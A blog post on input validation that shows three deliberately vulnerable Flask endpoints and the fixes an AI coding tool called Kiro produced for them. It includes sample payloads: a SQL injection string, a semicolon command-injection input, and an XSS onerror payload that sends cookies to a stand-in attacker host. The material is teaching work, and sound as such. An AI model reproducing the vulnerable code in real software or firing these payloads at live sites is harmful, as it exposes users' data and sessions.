DEV Community

Pedro N
Pedro N

Posted on

Kiro for Input Validation: Preventing Injection Attacks

This is an idea that I've had for some time, and never had the chance to complete. But, It's 2026 and I still see examples and some production code that concatenates user input straight into SQL queries. No parameterization. No escaping. Just vibes and prayers.

I decided to take three of the most common injection vulnerabilities, right from the textbook: SQL injection, cross-site scripting, and command injection, then write the worst possible version of each in Python (pun intended), and then ask Kiro to fix them. Here's what happened, in my own experience.


The Setup

I built three small Flask endpoints. Each one does something useful: search users, post comments, ping a host. Each one is dangerously vulnerable. The goal: paste the vulnerable code into Kiro and ask it to generate a secure version. No hand-holding, no deep dive about what's wrong. Just "fix this..."

All examples use Python 3 + Flask. You can follow along with any text editor, but the screenshots below are from Kiro.


1. SQL Injection: The Classic

Here's a user search endpoint. Can you Spot the problem?

@app.route("/search")
def search_users():
    username = request.args.get("username", "")
    conn = get_db()
    query = "SELECT * FROM users WHERE username = '" + username + "'"
    results = conn.execute(query).fetchall()
    conn.close()
    return jsonify([dict(row) for row in results])
Enter fullscreen mode Exit fullscreen mode

That + operator is doing a lot of damage. An attacker can send:

/search?username=' OR '1'='1
Enter fullscreen mode Exit fullscreen mode

And suddenly the query becomes SELECT * FROM users WHERE username = '' OR '1'='1' which returns every user in the database. Credentials, emails, roles. ALL of it.

Visual Example of the vulnerability:

What Kiro Did

I pasted the vulnerable code into Kiro and asked: "This Flask endpoint is vulnerable to SQL injection. Can you fix it and explain why?"

Kiro immediately identified the string concatenation as the vulnerability and generated this:

@app.route("/search")
def search_users():
    username = request.args.get("username", "")
    if not username or len(username) > 100:
        return jsonify({"error": "Invalid username"}), 400

    conn = get_db()
    query = "SELECT * FROM users WHERE username = ?"
    results = conn.execute(query, (username,)).fetchall()
    conn.close()
    return jsonify([dict(row) for row in results])
Enter fullscreen mode Exit fullscreen mode

What changed and why it matters:

  • Parameterized query (? placeholder) — the database treats the input as data, never as SQL code. This is the single most effective defense against SQL injection.
  • Input validation — length check and empty check reject obviously bad input before it reaches the database.
  • The attacker's ' OR '1'='1 payload now gets treated as a literal string to search for. No match, no data leak.

Visual Example after the Fix:

This wraps up the first example. Not bad to start, right?

Let's move on, we have more!


2. Cross-Site Scripting (XSS): The Silent One

Here's a comment board that renders user input as HTML:

@app.route("/", methods=["GET", "POST"])
def comment_board():
    if request.method == "POST":
        name = request.form.get("name", "")
        comment = request.form.get("comment", "")
        comments.append({"name": name, "comment": comment})

    html = "<h1>Comment Board</h1>"
    for c in comments:
        html += f"<p><b>{c['name']}</b>: {c['comment']}</p>"
    return html
Enter fullscreen mode Exit fullscreen mode

An attacker posts a comment with this as their name:

<img src=x onerror="document.location='http://evil.com/?c='+document.cookie">
Enter fullscreen mode Exit fullscreen mode

After click on "post..."

And then... Redirect stealing the cookie!

The browser tries to load a non-existent image, fails, and fires the onerror handler, which redirects every visitor to the attacker's server with their session cookies. This is stored XSS, the payload persists in the application and hits every user who views the page. Attackers use event handlers like onerror because browsers block inline <script> tags injected via HTML, but they can't block event attributes the same way.

What Kiro Did

I asked Kiro: "This comment board has a stored XSS vulnerability. Generate a secure version."

Kiro rewrote the endpoint to use Jinja2 templates with auto-escaping:

from flask import Flask, request, render_template_string
from markupsafe import escape

TEMPLATE = """
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>Comment Board</title></head>
<body>
    <h1>Comment Board</h1>
    <form method="POST">
        <input name="name" placeholder="Your name" maxlength="50"><br>
        <textarea name="comment" placeholder="Your comment" maxlength="500"></textarea><br>
        <button type="submit">Post</button>
    </form>
    <hr>
    {% for c in comments %}
        <p><b>{{ c.name }}</b>: {{ c.comment }}</p>
    {% endfor %}
</body>
</html>
"""

@app.route("/", methods=["GET", "POST"])
def comment_board():
    if request.method == "POST":
        name = request.form.get("name", "")
        comment = request.form.get("comment", "")
        comments.append({"name": escape(name), "comment": escape(comment)})

    return render_template_string(TEMPLATE, comments=comments)
Enter fullscreen mode Exit fullscreen mode

What changed and why it matters:

  • Output escapingescape() converts <script> into &lt;script&gt;, which renders as harmless text instead of executable code.
  • Jinja2 auto-escaping — the {{ }} template syntax escapes output by default. Double protection.
  • Input length limitsmaxlength on the form fields and server-side validation reduce the attack surface.
  • The attacker's script tag now displays as literal text on the page. No execution, no cookie theft.

That's 2 out of 3. We're in a roll, so let's get to the last example for today:


3. Command Injection: The Dangerous One

Here's a network diagnostic endpoint:

@app.route("/ping")
def ping_host():
    host = request.args.get("host", "")
    result = os.popen(f"ping -c 2 {host}").read()
    return f"<pre>{result}</pre>"
Enter fullscreen mode Exit fullscreen mode

An attacker sends:

/ping?host=google.com;whoami
Enter fullscreen mode Exit fullscreen mode

And shows like this:


(Username section intentionally removed, hehe.)

The shell interprets the semicolon as a command separator. It pings google.com, then runs the command and returns the contents. Chain a few more commands and the attacker owns your server!

What Kiro Did

I asked: "This ping endpoint has a command injection vulnerability. Make it safe."


import subprocess
import re

HOSTNAME_PATTERN = re.compile(r'^[a-zA-Z0-9._-]+$')

@app.route("/ping")
def ping_host():
    host = request.args.get("host", "")

    if not host or not HOSTNAME_PATTERN.match(host):
        return jsonify({"error": "Invalid hostname"}), 400

    try:
        result = subprocess.run(
            ["ping", "-c", "2", host],
            capture_output=True,
            text=True,
            timeout=10
        )
        return f"<pre>{result.stdout}</pre>"
    except subprocess.TimeoutExpired:
        return jsonify({"error": "Request timed out"}), 504
Enter fullscreen mode Exit fullscreen mode

What changed and why it matters:

  • No shellsubprocess.run() with a list argument never invokes a shell. The semicolon trick doesn't work because there's no shell to interpret it.
  • Input allowlisting — the regex only permits valid hostname characters. Semicolons, pipes, backticks — all rejected before they reach any system call.
  • Timeout — prevents an attacker from hanging your server with a slow target.
  • The attacker's google.com;whoami gets rejected by the regex. Even if it somehow got through, subprocess.run with a list would try to ping the literal string google.com;whoami — which isn't a valid hostname.

The Pattern

Across all three vulnerabilities, Kiro applied the same defensive layers:

  1. Validate input — reject anything that doesn't match expected patterns
  2. Use safe APIs — parameterized queries, template engines, subprocess without shell
  3. Limit scope — length limits, timeouts, allowlists over blocklists

These aren't exotic techniques. They're fundamentals. But they're also the things that get skipped when you're moving fast. That's exactly where Kiro helps; it generates the secure version by default, so you don't have to remember every OWASP rule while you're in flow.


Now, Try It Yourself!

Grab the vulnerable examples from this post, open them in Kiro, and ask it to fix them. You might be surprised how much it catches; and how much faster you ship secure code when your IDE has your back.

Top comments (0)